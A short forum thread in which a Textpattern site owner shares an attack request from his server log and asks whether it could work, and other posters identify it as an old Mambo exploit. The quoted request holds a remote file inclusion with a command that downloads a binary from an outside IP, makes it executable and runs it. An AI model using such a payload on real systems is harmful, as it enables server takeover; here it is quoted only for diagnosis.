HACKING MY SITE? (jesus.irb.hr server)

Someone at the Institut Ruđer Bošković tried to hack into my site, I believe.

I was looking at the log of who visited (my site is barely live yet, I just installed TXP) and saw a werid URL:

jesus.irb.hr

They tried the following command…looks like they were trying to change my file permissions, I think.

index.php?option=com_content&do_pdf=1&id=1…
index2.php?_REQUEST[option]=com_content&_REQUE…
ST[Itemid]=1&GLOBALS=&mosConfig_absolute_p…
ath=http://200.72.130.29/cmd.gif?&cmd=cd%20/tm…
p;wget%20200.207.91.25/bash;chmod%20744%20bash;./b…
ash;0209.61.187.106%208080;0

Any how…I went and found the owner of this server:
http://www.irb.hr/

Some crazy Croatian Science Institute.

That being said…would the obove command actually work?

Please, someone let me know. Otherwise, I may have to use a different blog software package.

Thanks,
Anton

That request is trying to exploit a rather old hole in Mambo. It won’t do anything to your Textpattern instance, but you still might want to report it to the irb.hr administrators.

What makes you think it would?

Kurt is spot on – it’s an old Mambo exploit, nothing to do with Textpattern.

I added a new FAQ about security.
